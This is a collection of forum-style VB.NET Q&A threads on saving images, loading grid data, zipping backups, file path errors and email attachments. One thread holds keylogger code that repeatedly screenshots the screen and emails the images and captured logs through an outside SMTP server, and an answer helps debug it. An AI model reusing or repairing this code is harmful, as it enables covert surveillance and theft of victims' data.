Save pictures while I scrape them from website using VB.NET - vb.net

I find a code on YouTube when I use it on my visual basic and debug it and find pictures but when i want to save them software gives me this message here.
Private Sub btnSaveImages_Click(ByVal sender As _
System.Object, ByVal e As System.EventArgs) Handles _
btnSaveImages.Click
Dim dir_name As String = txtDirectory.Text
If Not dir_name.EndsWith("\") Then dir_name &= "\"
For Each pic As PictureBox In flpPictures.Controls
Dim bm As Bitmap = pic.Image
Dim filename As String = pic.Tag
filename = _
filename.Substring(filename.LastIndexOf("/") + _
1)
Dim ext As String = _
filename.Substring(filename.LastIndexOf("."))
Dim full_name As String = dir_name & filename
Select Case ext
Case ".bmp"
bm.Save(full_name, Imaging.ImageFormat.Bmp)
Case ".gif"
bm.Save(full_name, Imaging.ImageFormat.Gif)
Case ".jpg", "jpeg"
bm.Save(full_name, Imaging.ImageFormat.Jpeg)
Case ".png"
bm.Save(full_name, Imaging.ImageFormat.Png)
Case ".tiff"
bm.Save(full_name, Imaging.ImageFormat.Tiff)
Case Else
MessageBox.Show( _
"Unknown file type " & ext & _
" in file " & filename, _
"Unknown File Type", _
MessageBoxButtons.OK, _
MessageBoxIcon.Error)
End Select
Next pic
Beep()
End Sub

The issue is that LastIndexOf isn't finding . in your filename. This then passes -1 to to SubString which throws the error you're seeing.
Instead of writing the file parsing yourself use the methods of System.Io.Path such as
System.IO.Path.GetDirectoryName(filename)
System.IO.Path.GetFileName(filename)
System.IO.Path.GetFileNameWithoutExtension(filename)
Private Sub btnSaveImages_Click(ByVal sender As _
System.Object, ByVal e As System.EventArgs) Handles _
btnSaveImages.Click
For Each pic As PictureBox In flpPictures.Controls
Dim bm As Bitmap = pic.Image
Dim path As String = pic.Tag
Dim filename = IO.Path.GetFileName(path)
Dim ext = IO.Path.GetExtension(path)
Dim full_name = IO.Path.Combine(txtDirectory.txt, filename)
....

Related

Vb.net Save data from datagridview to txt and load it

i'am new programmer and just studying about Visual Basic, and to complete my exams
The Data i have
Tool_1 screwdriver
Tool_2 screw
Tool_3 Magnet
And many more
i've create project, it have Data Grid View(two columns, Tools & Names) and two Button(btSave & btOpen)
i just try it with this code
Private Sub btSave_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles btSave.Click
SaveGridData(DataGridView1, ThisFilename)
End Sub
Private Sub SaveGridData(ByRef ThisGrid As DataGridView, ByVal Filename As String)
ThisGrid.ClipboardCopyMode = DataGridViewClipboardCopyMode.EnableWithoutHeaderText
ThisGrid.SelectAll()
IO.File.WriteAllText(Filename, ThisGrid.GetClipboardContent().GetText.TrimEnd)
ThisGrid.ClearSelection()
End Sub
Private Sub btOpen_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles btOpen.Click
LoadGridData(DataGridView1, ThisFilename)
End Sub
Private Sub LoadGridData(ByRef ThisGrid As DataGridView, ByVal Filename As String)
ThisGrid.Rows.Clear()
For Each THisLine In My.Computer.FileSystem.ReadAllText(Filename).Split(Environment.NewLine)
ThisGrid.Rows.Add(Split(THisLine, " "))
Next
End Sub
When i save the file it's no problem the txt file is ok, but when i want to load Text "Tool_1 Screwdriver" is not split but is in "Tools" Column
there is a solution to this ?
use this insetad of your loop in loadgriddata
For Each THisLine In My.Computer.FileSystem.ReadAllText(Filename).Split(Environment.NewLine)
dim str as string()
str=thisline.split(" ")
ThisGrid.Rows.Add(str(0),str(1))
Next
hope it helps.
Hey I struggled with this aswell, but I have some usefull code:
export listview:
System.IO.Directory.CreateDirectory("C:\RS Account Maker\Accounts" & "\")
SaveFileDialog1.ShowDialog()
Dim Path As String = SaveFileDialog1.FileName
Dim AllItems As String = ""
Try
For Each item As ListViewItem In ListView1.Items
AllItems = AllItems & item.Text & "#" & item.SubItems(1).Text & "#" & item.SubItems(2).Text & vbNewLine
Next
AllItems = AllItems.Trim
Catch ex As Exception
End Try
Try
If My.Computer.FileSystem.FileExists(Path) Then
My.Computer.FileSystem.DeleteFile(Path)
End If
My.Computer.FileSystem.WriteAllText(Path, AllItems, False)
Catch ex As Exception
MsgBox("Error" & vbNewLine & ex.Message, MsgBoxStyle.Exclamation, "Error ")
End Try
import listview:
OpenFileDialog1.ShowDialog()
Dim Path As String = OpenFileDialog1.FileName
Dim AllItems As String
Try
AllItems = My.Computer.FileSystem.ReadAllText(Path)
Dim ItemLines As New TextBox
ItemLines.Text = AllItems
For Each line As String In ItemLines.Lines
Dim a1() As String = line.Split("#")
Dim ItemName As String = a1(0)
Dim SubItem1 As String = a1(1)
Dim SubItem2 As String = a1(2)
Dim Item As New ListViewItem(ItemName)
Item.SubItems.Add(SubItem1)
Item.SubItems.Add(SubItem2)
ListView1.Items.AddRange(New ListViewItem() {Item})
Next
Catch ex As Exception
MsgBox("Error" & vbNewLine & ex.Message, MsgBoxStyle.Exclamation, "Error ")
End Try
The following line is wrong.
ThisGrid.Rows.Add(Split(THisLine, " "))
The above code was amended as follows.
Dim ThisFilename As String = Application.StartupPath & "\MyData.dat"
Private Sub butSave_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
SaveGridData(Datagrid1, ThisFilename)
End Sub
Private Sub butLoad_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
LoadGridData(Datagrid1, ThisFilename)
End Sub
Private Sub SaveGridData(ByRef ThisGrid As DataGridView, ByVal Filename As String)
ThisGrid.ClipboardCopyMode = DataGridViewClipboardCopyMode.EnableWithoutHeaderText
ThisGrid.SelectAll()
IO.File.WriteAllText(Filename, ThisGrid.GetClipboardContent().GetText.TrimEnd)
ThisGrid.ClearSelection()
End Sub
Private Sub LoadGridData(ByRef ThisGrid As DataGridView, ByVal Filename As String)
ThisGrid.Rows.Clear()
For Each THisLine In My.Computer.FileSystem.ReadAllText(Filename).Split(Environment.NewLine)
ThisGrid.Rows.Add(Split(THisLine, ControlChars.Tab))
Next
End Sub

How To Create Automated Backup Files In Vb.Net Application?

How to create automated backup files and backup type compress.
But I want to backup the folder containing Data Files (.doc,.xls,.tiff,.pdf...) but not sql database.
I Want file Backup SHARE-AC.zip. But now have get folder SHARE-AC don't zip.
Imports System.IO
Imports System.IO.Compression
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim dstr As String
Dim mstr As String
Dim ystr As String
Dim folstr As String
Dim dsumstr As String
dstr = DateTime.Today.ToString("dd")
mstr = DateTime.Today.ToString("MM")
ystr = DateTime.Today.ToString("yyyy")
dsumstr = ystr & "-" & mstr & "-" & dstr
folstr = "Y:\server1\Fileserver-" & dsumstr
Try
My.Computer.FileSystem.CreateDirectory(folstr)
My.Computer.FileSystem.CreateDirectory(folstr & "\SHARE-AC")
My.Computer.FileSystem.CopyDirectory("D:\SHARE-AC", folstr & "\SHARE-AC")
Label1.Text = "Back up DATE " & dsumstr & " Complete"
Catch ex As Exception
Label1.Text = (ex.Message)
End Try
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Me.Close()
End Sub
End Class
i dont get your question but If you just wanna zip your file you can use this
Update : You could use GZipStream in the System.IO.Compression namespace
.NET 2.0.
Public Shared Sub CompressFile(path As String)
Dim sourceFile As FileStream = File.OpenRead(path)
Dim destinationFile As FileStream = File.Create(path & ".gz")
Dim buffer As Byte() = New Byte(sourceFile.Length - 1) {}
sourceFile.Read(buffer, 0, buffer.Length)
Using output As New GZipStream(destinationFile, CompressionMode.Compress)
Console.WriteLine("Compressing {0} to {1}.",sourceFile.Name,destinationFile.Name, False)
output.Write(buffer, 0, buffer.Length)
End Using
' Close the files.
sourceFile.Close()
destinationFile.Close()
End Sub
.NET 4
Public Shared Sub Compress(fi As FileInfo)
' Get the stream of the source file.
Using inFile As FileStream = fi.OpenRead()
' Prevent compressing hidden and
' already compressed files.
If (File.GetAttributes(fi.FullName) And FileAttributes.Hidden) <> FileAttributes.Hidden And fi.Extension <> ".gz" Then
' Create the compressed file.
Using outFile As FileStream = File.Create(Convert.ToString(fi.FullName) & ".gz")
Using Compress As New GZipStream(outFile, CompressionMode.Compress)
' Copy the source file into
' the compression stream.
inFile.CopyTo(Compress)
Console.WriteLine("Compressed {0} from {1} to {2} bytes.", fi.Name, fi.Length.ToString(), outFile.Length.ToString())
End Using
End Using
End If
End Using
End Sub
if you want to zip the file on the directory you set use this code :
Dim dstr As String
Dim mstr As String
Dim ystr As String
Dim folstr As String
Dim dsumstr As String
dstr = DateTime.Today.ToString("dd")
mstr = DateTime.Today.ToString("MM")
ystr = DateTime.Today.ToString("yyyy")
dsumstr = ystr & "-" & mstr & "-" & dstr
folstr = "Y:\server1\Fileserver-" & dsumstr
Try
My.Computer.FileSystem.CreateDirectory(folstr)
My.Computer.FileSystem.CreateDirectory(folstr & "\SHARE-AC")
ZipFile.CreateFromDirectory("D:\SHARE-AC", folstr & "\SHARE-AC\myfile.zip") ' Zip all file in your directory
'My.Computer.FileSystem.CopyDirectory("D:\SHARE-AC", folstr & "\SHARE-AC")
Label1.Text = "Back up DATE " & dsumstr & " Complete"
Catch ex As Exception
Label1.Text = (ex.Message)
End Try
End Sub
YOU NEED TO IMPORT:
Imports System.IO
Imports System.IO.Compression
UPDATE
You can use SharpZipLip
And here some Examples.

How to Ignore Illegal Characters in Path when using StreamWriter?

Full code at bottom.
I've been getting an ArgumentException: "Illegal characters in path" whenever I attempt to save my text file in the program I've created.
My thoughts are that it has something to do with the directory path(path is chosen by user when prompted to open the file using an inputbox). My path on my computer being:
C:\Users\User\Desktop\HighScoreEditor
I've read tab characters can be the cause of this exception so my thoughts were maybe it's caused by the "\" in the directory path. I'm a 2nd year University Student so I may be completely wrong.
What I'm looking for is how to ignore this exception so that my file is saved, or a way to fix it so this exception does not occur.
My file is read from a directory path input by the user during an inputbox:
Dim message, title, defaultValue As String
Dim myValue As Object
Dim inFile As StreamReader
Dim strLine As String
' Set prompt.
message = "Enter a directory path to open your HighScore List."
' Set title.
title = "Which HighScore List should I open?"
defaultValue = "" ' Set default value.
' Display message, title, and default value.
myValue = InputBox(message, title, defaultValue)
' If user has clicked Cancel.
If myValue Is "" Then
Exit Sub
End If
Try
If File.Exists(myValue) = False Then
MessageBox.Show("Error: File/Directory Path """ & myValue & """ does not exist.")
ElseIf File.Exists(myValue) = True Then
inFile = File.OpenText(myValue)
Do While inFile.Peek <> -1
strLine = inFile.ReadLine()
txtScores.Text = txtScores.Text & vbCrLf & strLine
Loop
' Close the file.
inFile.Close()
End If
Catch ex As Exception
MessageBox.Show("Error: File/Directory Path """ & myValue & """ was found, however could not be opened." & vbCrLf & "" & vbCrLf & "Please make sure the list has a .txt file extension.")
End Try
Here is my code for my StreamWriter and save button:
Private Sub mnuFile_Save_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles mnuFile_Save.Click
Dim outFile As StreamWriter
outFile = File.CreateText(txtScores.Text)
outFile.WriteLine(txtScores.Text)
outFile.Close()
End Sub
------FULL CODE BELOW------
Imports System.IO
Public Class frmHighScore_Editor
Dim strTxt As String = "Click File > Open to display your HighScore List Here."
Private Sub mnuFile_Exit_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles mnuFile_Exit.Click
' Terminates the program.
Me.Close()
End Sub
Private Sub mnuFile_Open_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles mnuFile_Open.Click
Dim frmContinue As New frmContinue
frmContinue.ShowDialog()
Dim message, title, defaultValue As String
Dim myValue As Object
Dim inFile As StreamReader
Dim strLine As String
' Set prompt.
message = "Enter a directory path to open your HighScore List."
' Set title.
title = "Which HighScore List should I open?"
defaultValue = "" ' Set default value.
' Display message, title, and default value.
myValue = InputBox(message, title, defaultValue)
' If user has clicked Cancel.
If myValue Is "" Then
Exit Sub
End If
txtScores.Text = String.Empty
Try
If File.Exists(myValue) = False Then
txtScores.Text = strTxt
MessageBox.Show("Error: File/Directory Path """ & myValue & """ does not exist.")
ElseIf File.Exists(myValue) = True Then
txtScores.Text = String.Empty
If myValue.Contains("Blackjack.txt") Then
pbGame_Photo.Image = HighScores.My.Resources.Blackjack
lblGameName_Output.Text = "Blackjack"
ElseIf myValue.Contains("Mahjong.txt") Then
pbGame_Photo.Image = HighScores.My.Resources.Mahjong
lblGameName_Output.Text = "Mahjong"
ElseIf myValue.Contains("Minesweeper.txt") Then
pbGame_Photo.Image = HighScores.My.Resources.Minesweeper
lblGameName_Output.Text = "MineSweeper"
ElseIf myValue.Contains("Pinball.txt") Then
pbGame_Photo.Image = HighScores.My.Resources.Pinball
lblGameName_Output.Text = "Pinball"
ElseIf myValue.Contains("Solitaire.txt") Then
pbGame_Photo.Image = HighScores.My.Resources.Solitaire
lblGameName_Output.Text = "Solitaire"
Else
pbGame_Photo.Image = HighScores.My.Resources.Blank
lblGameName_Output.Text = "Your Game"
End If
inFile = File.OpenText(myValue)
Do While inFile.Peek <> -1
strLine = inFile.ReadLine()
Dim Res As String = ""
Dim Array(0) As Integer
For Each c As Char In strLine
If IsNumeric(c) Then
Res = Res & c
If CInt(Res) > Array(0) Then
Array(0) = CInt(Res)
End If
End If
Next
txtScores.Text = txtScores.Text & vbCrLf & strLine
lblScoreAchieved_Output.Text = Array(0)
Loop
' Close the file.
inFile.Close()
txtScores.Enabled = True
End If
Catch ex As Exception
txtScores.Text = strTxt
MessageBox.Show("Error: File/Directory Path """ & myValue & """ was found, however could not be opened." & vbCrLf & "" & vbCrLf & "Please make sure the list has a .txt file extension.")
End Try
End Sub
Private Sub frmHighScore_Editor_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
' Set the focus.
gbGameInfo.Focus()
pbGame_Photo.Image = HighScores.My.Resources.Blank
' Disable text box on load since it's empty anyways.
txtScores.Enabled = False
txtScores.Text = strTxt
End Sub
Private Sub mnuFile_Save_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles mnuFile_Save.Click
Dim outFile As StreamWriter
outFile = File.CreateText(txtScores.Text)
outFile.WriteLine(txtScores.Text)
outFile.Close()
End Sub
End Class
------FULL CODE ABOVE------
myValue = InputBox(message, title, defaultValue)
That's a very poor way to ask for a filename. Use SaveFileDialog instead. Short from the intuitive dialog that any Windows user knows how to operate, it also automatically avoids that exception.

IOException was unhandled vb.net

When I run my program, it encounter with this error
The process cannot access the file
'C:\Users\user\Documents\Visual Studio 2010\Projects\Keylogger\WindowsApplication1\bin\Debug\pic\img1.png'
because it is being used by another process.
This error is for
Dim attach As New Attachment(Application.StartupPath & "\pic\" & "\img" & i & ".png")
Can someone help me about it? Thanks in advance!
Here is my full code:
private j as integer = 1
Public Function TakeImage()
Return TakeImage(0, 0, Screen.PrimaryScreen.WorkingArea.Width, Screen.PrimaryScreen.WorkingArea.Height)
End Function
Public Function TakeImage(ByVal X As Integer, ByVal Y As Integer, ByVal Width As Integer, ByVal Height As Integer)
Dim Img As New Bitmap(Width, Height)
Dim g As Graphics = Graphics.FromImage(Img)
g.CopyFromScreen(X, Y, 0, 0, Img.Size)
g.Dispose()
Return Img
End Function
Private Sub tmrEmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrEmail.Tick
Dim i As Integer
Dim smtpServer As New SmtpClient
smtpServer.EnableSsl = True
Dim mail As New MailMessage
smtpServer.Credentials = New Net.NetworkCredential("********", "********")
smtpServer.Port = 587
smtpServer.Host = "smtp.mail.yahoo.com"
mail = New MailMessage
mail.From = New MailAddress("********")
mail.To.Add("*********")
mail.Subject = ("Parham")
mail.Body = txtlogs.Text
For i = 1 To 3
Using fs As FileStream = New FileStream(Application.StartupPath & "\pic\" & "\img" & i & ".png", FileMode.Open)
Dim attach As New Attachment(Application.StartupPath & "\pic\" & "\img" & i & ".png")
mail.Attachments.Add(attach)
smtpServer.Send(mail)
If File.Exists(Application.StartupPath & "\pic\" & "\img" & j & ".png") Then
File.Delete(Application.StartupPath & "\pic\" & "\img" & j & ".png")
End If
End Using
Next
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
If Not Directory.Exists(Application.StartupPath & "\pic\") Then
Directory.CreateDirectory(Application.StartupPath & "\pic\")
End If
End Sub
Private Sub tmrScrShot_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrScrShot.Tick
Dim picture As Image = TakeImage()
Using picture
picture.Save(Application.StartupPath & "\pic\" & "\img" & j & ".png", System.Drawing.Imaging.ImageFormat.Png)
End Using
j += 1
If j > 3 Then
j = New Integer
j = 1
End If
End Sub
You should first set Option Strict ON, then fix the warnings and errors that will be shown and then edit your post to the actual code.
The cause of the exception is a timing problem between the tmrEmail Timer object and the tmrScrShot Timer object.
EDIT:
This method takes a Image object which is then saved to a memory stream which is used to create a System.Net.Mail.Attachment
Private Function ToAttachment(img As Image) As System.Net.Mail.Attachment
Dim attachment As System.Net.Mail.Attachment
Using ms As New System.IO.MemoryStream()
img.Save(ms, System.Drawing.Imaging.ImageFormat.Png)
attachment = New System.Net.Mail.Attachment(New System.IO.MemoryStream(ms.GetBuffer), "image.png", "image/png")
End Using
Return attachment
End Function

How to attach a file to temporary location before sending a email with attachment?

I'm having a bit of trouble attaching a chosen file to my VB.net form before pressing my submit button which then sends a email with the attachment.
At the moment, my form can can open a dialog box to browse for file but I receive errors after choosing a file from a location on my machine.
Can anybody help please? Thanks.
This is the code I've used for the attachment button:
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim openDLG As New OpenFileDialog
'openDLG.AddExtension = True
openDLG.ReadOnlyChecked = True
openDLG.Multiselect = True
openDLG.Title = "Select the file(s) you want added to the message..."
openDLG.Filter = "All Files (*.*)|*.*"
If openDLG.ShowDialog = Windows.Forms.DialogResult.OK Then
For Each item As String In openDLG.FileNames
'Create a new System.NET.Mail.Attachment class instance for each file.
attachToMsg = New System.Net.Mail.Attachment(item)
'Then add the attachment to your message. You have to do this everytime you run the code
'above.
EmailMessage.Attachments.Add(attachToMsg)
Next
MsgBox("I have finished adding all of the selected files! You can do more if you want!")
End If
End Sub
Button3 code:
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Using message As New MailMessage()
'set to the from, to and subject fields
message.From = (New MailAddress(TextBox3.Text.ToString()))
message.[To].Add(New MailAddress("NO.ONE#elsewhere.com"))
message.Subject = "New commission query"
'code the message body
Dim MsgBody As String
MsgBody = TextBox1.Text.ToString() & vbCr & _
TextBox2.Text.ToString() & vbCr & _
TextBox3.Text.ToString() & vbCr & _
ComboBox1.Text.ToString() & vbCr & _
ComboBox2.Text.ToString() & vbCr & _
ComboBox3.Text.ToString() & vbCr & _
ComboBox4.Text.ToString() & vbCr
message.Body = MsgBody
Dim client As New SmtpClient()
client.Host = "mailhost"
client.Send(message)
End Using
'display submitted box
MessageBox.Show("Your request has been submitted!", "Congratulations!")
'close form
Me.Close()
End Sub
Your "message" object in Button3_Click code and the "EmailMessage" in Button1_Click code ought to be the same "message" object.
As Steve mentions above...
Where do you have defined and initialized EmailMessage variable? Use the debugger and check if that variable is Nothing when you try to add an attachement – Steve 5 hours ago
Its all a case of WHERE you have DEFINED the EmailMessage object?
Maybe you should declare your EmailMessage object at FORM Level scope and then modify your Button3 code to access THAT SAME EmailMessage Instead of in the Attachment Procedure (Button1_Click code) and also you would need to "Instantiate" your EmailMessage message object before you attempt to modify its properties.
So you would have something along the lines of....
'Declarations section (form scope)
Dim TheEmailMessage As New MailMessage()
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim openDLG As New OpenFileDialog
'openDLG.AddExtension = True
openDLG.ReadOnlyChecked = True
openDLG.Multiselect = True
openDLG.Title = "Select the file(s) you want added to the message..."
openDLG.Filter = "All Files (*.*)|*.*"
If openDLG.ShowDialog = Windows.Forms.DialogResult.OK Then
For Each item As String In openDLG.FileNames
'Create a new System.NET.Mail.Attachment class instance for each file.
attachToMsg = New System.Net.Mail.Attachment(item)
'Then add the attachment to your message.
'You have to do this everytime you run the code above
TheEmailMessage.Attachments.Add(attachToMsg)
Next
MsgBox("I have finished adding all of the selected files! You can do more if you want!")
End If
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Using TheEmailMessage
'set to the from, to and subject fields
TheEmailMessage.From = (New MailAddress(TextBox3.Text.ToString()))
TheEmailMessage.[To].Add(New MailAddress("NO.ONE#elsewhere.com"))
TheEmailMessage.Subject = "New commission query"
'code the message body
Dim MsgBody As String
MsgBody = TextBox1.Text.ToString() & vbCr & _
TextBox2.Text.ToString() & vbCr & _
TextBox3.Text.ToString() & vbCr & _
ComboBox1.Text.ToString() & vbCr & _
ComboBox2.Text.ToString() & vbCr & _
ComboBox3.Text.ToString() & vbCr & _
ComboBox4.Text.ToString() & vbCr
TheEmailMessage.Body = MsgBody
Dim client As New SmtpClient()
client.Host = "mailhost"
client.Send(message)
End Using
'display submitted box
MessageBox.Show("Your request has been submitted!", "Congratulations!")
'close form
Me.Close()
End Sub
Put it in a temporary file (folder). Here is an example to extract the file from resource, put in a temporary file and open it. Returns the temporary folder used.
Public Overloads Function EXTRACT_FILE_FROM_RESOURCE(ByVal sFile As String, Optional ByVal andStart As Boolean = True) As String
Dim assembly As System.Reflection.Assembly = System.Reflection.Assembly.GetExecutingAssembly()
Dim root As String = assembly.GetName().Name
Dim stream As System.IO.Stream = assembly.GetManifestResourceStream(root & "." & sFile)
Dim buffer(Convert.ToInt32(stream.Length) - 1) As Byte
stream.Read(buffer, 0, buffer.Length)
stream.Close()
Dim sFolderUsed As String = GetTempDirectory()
Dim sFilePath As String
sFilePath = IO.Path.Combine(sFolderUsed , sFile )
Using f As New IO.FileStream(sFilePath , IO.FileMode.Create, IO.FileAccess.Write)
f.Write(buffer, 0, buffer.Length)
f.Close()
File.SetAttributes(sFilePath , File.GetAttributes(sFilePath ) And Not FileAttributes.ReadOnly)
End Using
If andStart Then
StartProcess(sFilePath )
End If
Return sFolderUsed
End Function
Public Function GetTempDirectory() As String
Dim pathx As String
Do
pathx = IO.Path.Combine(IO.Path.GetTempPath(), IO.Path.GetRandomFileName())
Loop Until Not Directory.Exists(pathx)
Directory.CreateDirectory(pathx)
Return pathx
End Function